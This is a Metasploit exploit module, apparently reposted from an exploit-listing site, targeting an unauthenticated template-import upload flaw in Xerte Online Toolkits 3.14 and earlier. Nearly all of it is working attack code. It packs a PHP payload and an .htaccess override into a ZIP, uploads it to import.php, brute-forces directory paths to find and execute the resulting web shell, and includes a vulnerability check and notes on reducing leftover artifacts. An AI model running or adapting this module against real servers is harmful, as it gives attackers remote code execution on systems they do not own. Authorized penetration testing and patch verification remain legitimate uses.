Share
## https://sploitus.com/exploit?id=PACKETSTORM:215590
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import',
            'Description' => %q{
              This module exploits an authentication bypass allowing arbitrary
              file upload in versions 3.14 and earlier to upload and execute a shell.
              Specifically, this targets /website_code/php/import/import.php
    
              OPSEC
              This module results in directories being created and database entries which can
              not easily be cleaned up automatically.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Brandon Lester',
            ],
            'References' => [
              ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
              ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
            ],
            'Privileged' => false,
            'Targets' => [
              [
                'PHP', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DisclosureDate' => '2025-08-04',
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
          ]
        )
      end
    
      def check
        print_status('Performing check')
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
        })
        if res&.code == 200
          if res.body.include?('No valid language definition found in the file!')
            return Exploit::CheckCode::Vulnerable
          else
            return Exploit::CheckCode::Safe
          end
        end
        return Exploit::CheckCode::Safe
      end
    
      def http_send_command(_cmd)
        # using for loop with the range
        for a in 1..100 do
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename)
          })
          next unless res&.code == 200
    
          print_status("Found shell at #{a}")
          register_file_for_cleanup(php_filename)
          break
        end
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename)
        })
      end
    
      def upload_payload_zip
        # deliver the payload
        zip = Rex::Zip::Archive.new
        # add the payload to the zip archive, under a pre-defined location.
        # this is cleaner opsec than the default languages directory, as that leaves difficult to delete artifacts.
        # This has the added benefit of not needing to worry about the .htaccess restrictions.
        zip.add_file("media/#{php_filename}", payload.encoded)
        zip.add_file('media/.htaccess', htaccess_payload)
        zip.add_file('data.xml', %q{
    <learningObject targetFolder="site" language="" name="Project Title" theme="default">
      <page linkID="PG1360232941652" name="Page Title" subtitle="Enter Page Subtitle">
        <section linkID="PG1360232936371" name="This is section One"/>
      </page>
    </learningObject>
        })
        zip.add_file('mal-theme.info', %q{
    name: mal-theme
    display name: Flat: Black & Green
    description: A Black and Green theme similar to the Apereo website colours e.g. Aztec header and footer, off white background, grey and green accents.
    enabled: yes
    preview: apereo.jpg
        })
        zip.add_file('template.xml', %q{
    <learningObject editorVersion="3" targetFolder="Nottingham" name="Enter Project Title" language="" navigation="Linear" textSize="12" theme="xot1" themeIcons="false" displayMode="fill window" responsive="true" />
        })
    
        # add the zip archive to the post request
        mime = Rex::MIME::Message.new
        mime.add_part(zip.pack, 'application/zip', 'binary',
                      %(form-data; name="filenameuploaded"; filename="#{zip_filename}"))
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'import', 'import.php'),
          'ctype' => "multipart/form-data; boundary=#{mime.bound}",
          'data' => mime.to_s
        )
      end
    
      def exploit
        upload_payload_zip
        print_status('Uploaded the zip')
        http_send_command(payload.encoded)
      end
    
      def php_filename
        @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
      end
    
      def htaccess_payload
        <<~PAYLOAD
          <IfModule mod_rewrite.c>
              RewriteEngine Off
          </IfModule>
        PAYLOAD
      end
    
      def zip_filename
        @zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip'
      end
    
    end